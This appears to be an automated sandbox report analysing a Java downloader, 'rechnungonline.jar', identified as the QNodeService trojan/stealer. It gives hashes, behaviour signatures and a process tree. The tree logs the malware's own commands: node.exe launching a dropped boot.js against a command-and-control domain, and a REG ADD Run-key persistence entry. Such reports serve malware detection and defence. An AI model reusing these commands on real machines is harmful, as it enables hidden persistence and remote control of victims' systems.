Analysis

  • max time kernel
    62s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-11-2020 21:35

General

  • Target

    rechnungonline.jar

  • Size

    93KB

  • MD5

    f8e54943e0636946d7a7e5789a9c89ed

  • SHA1

    36fb49a43dfc411b323a75d7704ae07d8b889672

  • SHA256

    ae0d300b014222d0b5ef7587f5b9862ae1296843d7d776392dfa8c9ef2d9550b

  • SHA512

    6f4fec5aa0ee8eeb29cf39aea3969de996e5594168149dc4fc12a65ea2ac57cd5a2d711b6ea76fd9161c7a47471a8a6a02c4d9474a884cad34714ea00d491761

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\rechnungonline.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4068
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\169088be.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:508
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2484
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vf38BJ\boot.js --hub-domain september101991.ddns.net
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3332
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vf38BJ\boot.js --hub-domain september101991.ddns.net
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3748
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aa8066c0-0a8a-424f-91b1-c5b684831951" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2476
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aa8066c0-0a8a-424f-91b1-c5b684831951" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:1548

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2484-171-0x000001B7C1B80000-0x000001B7C1B81000-memory.dmp

    Filesize

    4KB

  • memory/3332-174-0x000001BAC9740000-0x000001BAC9741000-memory.dmp

    Filesize

    4KB

  • memory/3748-178-0x0000030CB93C0000-0x0000030CB93C1000-memory.dmp

    Filesize

    4KB